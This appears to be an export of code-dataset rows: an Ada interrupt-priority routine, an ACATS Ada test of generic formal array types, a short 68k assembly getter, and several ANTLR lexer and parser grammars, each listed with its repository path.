pragma Assert (Interrupt_Priorities (Interrupt) = 0);
Protection.Enter_Kernel;
-- Save the values
Interrupt_Priorities (Interrupt) := Priority;
-- Regenerate masks
case Mask_Bit_Number (Mask_Bit) is
when 0 .. 31 =>
Mask := 2 ** Int32_Bit_Number (31 - Mask_Bit);
for P in System.Priority'Last .. Priority - 1 loop
Priority_Masks (P).SIMSR_H :=
Priority_Masks (P).SIMSR_H or Mask;
end loop;
when 32 .. 63 =>
Mask := 2 ** Int32_Bit_Number (63 - Mask_Bit);
for P in System.Priority'Last .. Priority - 1 loop
Priority_Masks (P).SIMSR_L :=
Priority_Masks (P).SIMSR_L or Mask;
end loop;
when 64 .. 95 =>
Mask := 2 ** Int32_Bit_Number (95 - Mask_Bit);
for P in System.Priority'Last .. Priority - 1 loop
Priority_Masks (P).SEMSR :=
Priority_Masks (P).SEMSR or Mask;
end loop;
end case;
-- Will set mask registers
Protection.Leave_Kernel;
end Define_Interrupt_Priority;
end System.BB.Board_Support;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cc/cc3224a.ada | best08618/asylo | 7 | 29564 | -- CC3224A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT A FORMAL ARRAY TYPE DENOTES ITS ACTUAL
-- PARAMETER, AND THAT OPERATIONS OF THE FORMAL TYPE ARE THOSE
-- IDENTIFIED WITH THE CORRESPONDING OPERATIONS OF THE ACTUAL TYPE.
-- HISTORY:
-- DHH 09/19/88 CREATED ORIGINAL TEST.
-- <NAME>, 14 AUGUST 1990 ADDED CHECKS FOR MULTI-
-- DIMENSIONAL ARRAYS
-- PWN 11/30/94 REMOVED 'BASE USE ILLEGAL IN ADA 9X.
WITH REPORT ;
PROCEDURE CC3224A IS
SUBTYPE INT IS INTEGER RANGE 1 .. 3;
TYPE ARR IS ARRAY(1 .. 3) OF INTEGER;
TYPE B_ARR IS ARRAY(1 .. 3) OF BOOLEAN;
Q : ARR;
R : B_ARR;
GENERIC
TYPE T IS ARRAY(INT) OF INTEGER;
PACKAGE P IS
SUBTYPE SUB_T IS T;
X : SUB_T := (1, 2, 3);
END P;
GENERIC
TYPE T IS ARRAY(INT) OF BOOLEAN;
PACKAGE BOOL IS
SUBTYPE SUB_T IS T;
END BOOL;
SHORT_START : CONSTANT := -100 ;
SHORT_END : CONSTANT := 100 ;
TYPE SHORT_RANGE IS RANGE SHORT_START .. SHORT_END ;
SUBTYPE REALLY_SHORT IS SHORT_RANGE RANGE -9 .. 0 ;
TYPE MONTH_TYPE IS (JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG,
SEP, OCT, NOV, DEC) ;
SUBTYPE FIRST_HALF IS MONTH_TYPE RANGE JAN .. JUN ;
TYPE DAY_TYPE IS RANGE 1 .. 31 ;
TYPE YEAR_TYPE IS RANGE 1904 .. 2050 ;
TYPE DATE IS RECORD
MONTH : MONTH_TYPE ;
DAY : DAY_TYPE ;
YEAR : YEAR_TYPE ;
END RECORD ;
TODAY : DATE := (MONTH => AUG,
DAY => 8,
YEAR => 1990) ;
FIRST_DATE : DATE := (DAY => 6,
MONTH => JUN,
YEAR => 1967) ;
WALL_DATE : DATE := (MONTH => NOV,
DAY => 9,
YEAR => 1989) ;
SUBTYPE FIRST_FIVE IS CHARACTER RANGE 'A' .. 'E' ;
TYPE THREE_DIMENSIONAL IS ARRAY (REALLY_SHORT,
FIRST_HALF,
FIRST_FIVE) OF DATE ;
TD_ARRAY : THREE_DIMENSIONAL ;
SECOND_TD_ARRAY : THREE_DIMENSIONAL ;
GENERIC
TYPE CUBE IS ARRAY (REALLY_SHORT,
FIRST_HALF,
FIRST_FIVE) OF DATE ;
PACKAGE TD_ARRAY_PACKAGE IS
SUBTYPE SUB_CUBE IS CUBE ;
TEST_3D_ARRAY : SUB_CUBE := (THREE_DIMENSIONAL'RANGE =>
(THREE_DIMENSIONAL'RANGE (2) =>
(THREE_DIMENSIONAL'RANGE (3) =>
TODAY))) ;
END TD_ARRAY_PACKAGE ;
BEGIN -- CC3224A
REPORT.TEST ("CC3224A", "CHECK THAT A FORMAL ARRAY TYPE DENOTES " &
"ITS ACTUAL PARAMETER, AND THAT OPERATIONS OF " &
"THE FORMAL TYPE ARE THOSE IDENTIFIED WITH THE " &
"CORRESPONDING OPERATIONS OF THE ACTUAL TYPE");
ONE_DIMENSIONAL:
DECLARE
PACKAGE P1 IS NEW P (ARR);
TYPE NEW_T IS NEW P1.SUB_T;
OBJ_NEWT : NEW_T;
BEGIN -- ONE_DIMENSIONAL
IF NEW_T'FIRST /= ARR'FIRST THEN
REPORT.FAILED("'FIRST ATTRIBUTE REPORT.FAILED");
END IF;
IF NEW_T'LAST /= ARR'LAST THEN
REPORT.FAILED("'LAST ATTRIBUTE REPORT.FAILED");
END IF;
IF NEW_T'FIRST(1) /= ARR'FIRST(1) THEN
REPORT.FAILED("'FIRST(N) ATTRIBUTE REPORT.FAILED");
END IF;
IF NOT (NEW_T'LAST(1) = ARR'LAST(1)) THEN
REPORT.FAILED("'LAST(N) ATTRIBUTE REPORT.FAILED");
END IF;
IF 2 NOT IN NEW_T'RANGE THEN
REPORT.FAILED("'RANGE ATTRIBUTE REPORT.FAILED");
END IF;
IF 3 NOT IN NEW_T'RANGE(1) THEN
REPORT.FAILED("'RANGE(N) ATTRIBUTE REPORT.FAILED");
END IF;
IF NEW_T'LENGTH /= ARR'LENGTH THEN
REPORT.FAILED("'LENGTH ATTRIBUTE REPORT.FAILED");
END IF;
IF NEW_T'LENGTH(1) /= ARR'LENGTH(1) THEN
REPORT.FAILED("'LENGTH(N) ATTRIBUTE REPORT.FAILED");
END IF;
OBJ_NEWT := (1, 2, 3);
IF REPORT.IDENT_INT(3) /= OBJ_NEWT(3) THEN
REPORT.FAILED("ASSIGNMENT REPORT.FAILED");
END IF;
IF NEW_T'(1, 2, 3) NOT IN NEW_T THEN
REPORT.FAILED("QUALIFIED EXPRESSION REPORT.FAILED");
END IF;
Q := (1, 2, 3);
IF NEW_T(Q) /= OBJ_NEWT THEN
REPORT.FAILED("EXPLICIT CONVERSION REPORT.FAILED");
END IF;
IF Q(1) /= OBJ_NEWT(1) THEN
REPORT.FAILED("INDEXING REPORT.FAILED");
END IF;
IF (1, 2) /= OBJ_NEWT(1 .. 2) THEN
REPORT.FAILED("SLICE REPORT.FAILED");
END IF;
IF (1, 2) & OBJ_NEWT(3) /= NEW_T(Q)THEN
REPORT.FAILED("CATENATION REPORT.FAILED");
END IF;
IF NOT (P1.X IN ARR) THEN
REPORT.FAILED ("FORMAL DOES NOT DENOTE ACTUAL");
END IF;
END ONE_DIMENSIONAL ;
BOOLEAN_ONE_DIMENSIONAL:
DECLARE
PACKAGE B1 IS NEW BOOL (B_ARR);
TYPE NEW_T IS NEW B1.SUB_T;
OBJ_NEWT : NEW_T;
BEGIN -- BOOLEAN_ONE_DIMENSIONAL
OBJ_NEWT := (TRUE, TRUE, TRUE);
R := (TRUE, TRUE, TRUE);
IF (NEW_T'((TRUE, TRUE, TRUE)) XOR OBJ_NEWT) /=
NEW_T'((FALSE, FALSE, FALSE)) THEN
REPORT.FAILED("XOR REPORT.FAILED - BOOLEAN") ;
END IF;
IF (NEW_T'((FALSE, FALSE, TRUE)) AND OBJ_NEWT) /=
NEW_T'((FALSE, FALSE, TRUE)) THEN
REPORT.FAILED("AND REPORT.FAILED - BOOLEAN") ;
END IF;
IF (NEW_T'((FALSE, FALSE, FALSE)) OR OBJ_NEWT) /=
NEW_T'((TRUE, TRUE, TRUE)) THEN
REPORT.FAILED("OR REPORT.FAILED - BOOLEAN") ;
END IF ;
END BOOLEAN_ONE_DIMENSIONAL ;
THREE_DIMENSIONAL_TEST:
DECLARE
PACKAGE TD IS NEW TD_ARRAY_PACKAGE (CUBE => THREE_DIMENSIONAL) ;
TYPE NEW_CUBE IS NEW TD.SUB_CUBE ;
NEW_CUBE_OBJECT : NEW_CUBE ;
BEGIN -- THREE_DIMENSIONAL_TEST
IF (NEW_CUBE'FIRST /= THREE_DIMENSIONAL'FIRST) OR
(NEW_CUBE'FIRST (1) /= THREE_DIMENSIONAL'FIRST) OR
(NEW_CUBE'FIRST (2) /= THREE_DIMENSIONAL'FIRST (2)) OR
(NEW_CUBE'FIRST (3) /= THREE_DIMENSIONAL'FIRST (3)) THEN
REPORT.FAILED ("PROBLEMS WITH 'FIRST FOR MULTI-" &
"DIMENSIONAL ARRAYS.") ;
END IF ;
IF (NEW_CUBE'LAST /= THREE_DIMENSIONAL'LAST) OR
(NEW_CUBE'LAST (1) /= THREE_DIMENSIONAL'LAST) OR
(NEW_CUBE'LAST (2) /= THREE_DIMENSIONAL'LAST (2)) OR
(NEW_CUBE'LAST (3) /= THREE_DIMENSIONAL'LAST (3)) THEN
REPORT.FAILED ("PROBLEMS WITH 'LAST FOR MULTI-" &
"DIMENSIONAL ARRAYS.") ;
END IF ;
IF (-5 NOT IN NEW_CUBE'RANGE) OR
(-3 NOT IN NEW_CUBE'RANGE (1)) OR
(FEB NOT IN NEW_CUBE'RANGE (2)) OR
('C' NOT IN NEW_CUBE'RANGE (3)) THEN
REPORT.FAILED ("PROBLEMS WITH 'RANGE FOR MULTI-" &
"DIMENSIONAL ARRAYS.") ;
END IF ;
IF (NEW_CUBE'LENGTH /= THREE_DIMENSIONAL'LENGTH) OR
(NEW_CUBE'LENGTH (1) /= THREE_DIMENSIONAL'LENGTH) OR
(NEW_CUBE'LENGTH (2) /= THREE_DIMENSIONAL'LENGTH (2)) OR
(NEW_CUBE'LENGTH (3) /= THREE_DIMENSIONAL'LENGTH (3)) THEN
REPORT.FAILED ("PROBLEMS WITH 'LENGTH FOR MULTI-" &
"DIMENSIONAL ARRAYS.") ;
END IF ;
NEW_CUBE_OBJECT := (NEW_CUBE'RANGE =>
(NEW_CUBE'RANGE (2) =>
(NEW_CUBE'RANGE (3) =>
FIRST_DATE))) ;
IF FIRST_DATE /= NEW_CUBE_OBJECT (-3, MAR, 'D') THEN
REPORT.FAILED ("ASSIGNMENT FOR MULTI-DIMENSIONAL " &
"ARRAYS FAILED.") ;
END IF ;
IF NEW_CUBE'(NEW_CUBE'RANGE =>
(NEW_CUBE'RANGE (2) =>
(NEW_CUBE'RANGE (3) =>
WALL_DATE))) NOT IN NEW_CUBE THEN
REPORT.FAILED ("QUALIFIED EXPRESSION FOR MULTI-" &
"DIMENSIONAL ARRAYS FAILED.") ;
END IF ;
SECOND_TD_ARRAY := (NEW_CUBE'RANGE =>
(NEW_CUBE'RANGE (2) =>
(NEW_CUBE'RANGE (3) =>
FIRST_DATE))) ;
IF NEW_CUBE (SECOND_TD_ARRAY) /= NEW_CUBE_OBJECT THEN
REPORT.FAILED ("EXPLICIT CONVERSION FOR MULTI-" &
"DIMENSIONAL ARRAYS FAILED.") ;
END IF ;
IF SECOND_TD_ARRAY (-2, FEB, 'B')
/= NEW_CUBE_OBJECT (-2, FEB, 'B') THEN
REPORT.FAILED ("INDEXING FOR MULTI-" &
"DIMENSIONAL ARRAYS FAILED.") ;
END IF ;
IF NOT (TD.TEST_3D_ARRAY IN THREE_DIMENSIONAL) THEN
REPORT.FAILED ("FORMAL MULTI-DIMENSIONAL ARRAY " &
"DOES NOT DENOTE ACTUAL.") ;
END IF ;
END THREE_DIMENSIONAL_TEST ;
REPORT.RESULT ;
END CC3224A ;
|
oldstuff/tigcc/PolySnd/sources/statique/GetFrequency_voice1.asm | bcherry/bcherry | 3 | 82063 | <reponame>bcherry/bcherry<gh_stars>1-10
section ".data"
xdef pSnd_GetFrequency_voice1
pSnd_GetFrequency_voice1:
move.w frequency_voice1,d0
rts |
alica-plan-designer-fx-codegeneration/src/main/antlr4/Comments.g4 | ajahl/alica-plan-designer-fx | 4 | 2981 | grammar Comments;
@header { package de.unikassel.vs.alica.generator.cpp.parser; }
options {
language = Java;
}
all_text : ((protected_region+ code*) | (protected_region* code+))+;
code : ((TEXT+ NUMBER* SIGNS* WHITESPACE*) | (TEXT* NUMBER+ SIGNS* WHITESPACE*) | (TEXT* NUMBER* SIGNS+ WHITESPACE*) | (TEXT* NUMBER* SIGNS* WHITESPACE+))+;
protected_region : protected_region_header content=protected_region_content protected_region_end;
protected_region_header : '/*PROTECTED REGION ID(' id=regionid ') ENABLED START*/';
protected_region_content : code;
protected_region_end : '/*PROTECTED REGION END*/';
regionid : ((TEXT+ NUMBER*) | (TEXT* NUMBER+))+;
SIGNS : '*' | '+' | '-' | '/' | '\\' | '#' | '~' | '|' | '\'' | '"' | '[' | ']' | '=' | ';' | ',' | '&' | '$' | '.' | '(' | ')' | '{' | '}' | '!' | '?' | '<' | '>' | ':' | '@' | '_' | '%' | 'รค' | 'รผ' | 'ร' | 'รถ';
TEXT : [a-zA-Z$];
NUMBER : '0'..'9'+;
WHITESPACE : ( '\t' | '\r' | '\n' | '\u000C' | ' ' )+; |
playscript/CommonLexer.g4 | luoyjx/simple-calc-parser | 0 | 1733 | lexer grammar CommonLexer;
Assignment: '=' ;
Or: '||';
And: '&&';
Not: '!';
Relational: '=='|'>'|'>='|'<' |'<=' ;
Add: '+' | '-';
Mul: '*' | '/';
Sharp: '#';
SemiColon: ';';
Dot: '.';
Comm: ',';
LeftBracket : '[';
RightBracket: ']';
LeftBrace: '{';
RightBrace: '}';
LeftParen: '(';
RightParen: ')';
TypeSpecifier: 'char' | 'int' | 'bool';
If: 'if' | 'ๅฆๆ';
Else: 'else';
While: 'while';
For: 'for';
Identifier: [a-zA-Z_] ([a-zA-Z_] | [0-9])*;
Constant
: IntegerConstant
//| FloatingConstant
//| EnumerationConstant
| CharacterConstant
;
fragment
IntegerConstant
: NonzeroDigit Digit*
;
fragment
Nondigit
: [a-zA-Z_]
;
fragment
Digit
: [0-9]
;
fragment
NonzeroDigit
: [1-9]
;
CharacterConstant: '"' .*? '"' ;
Whitespace: [ \t]+ -> skip;
Newline: ( '\r' '\n'?|'\n')-> skip; |
src/test/resources/BetaParser.g4 | google/polymorphicDSL | 3 | 5554 | <reponame>google/polymorphicDSL<gh_stars>1-10
parser grammar BetaParser;
options { tokenVocab=BetaLexer; }
helloWorld : HELLO WORLD;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.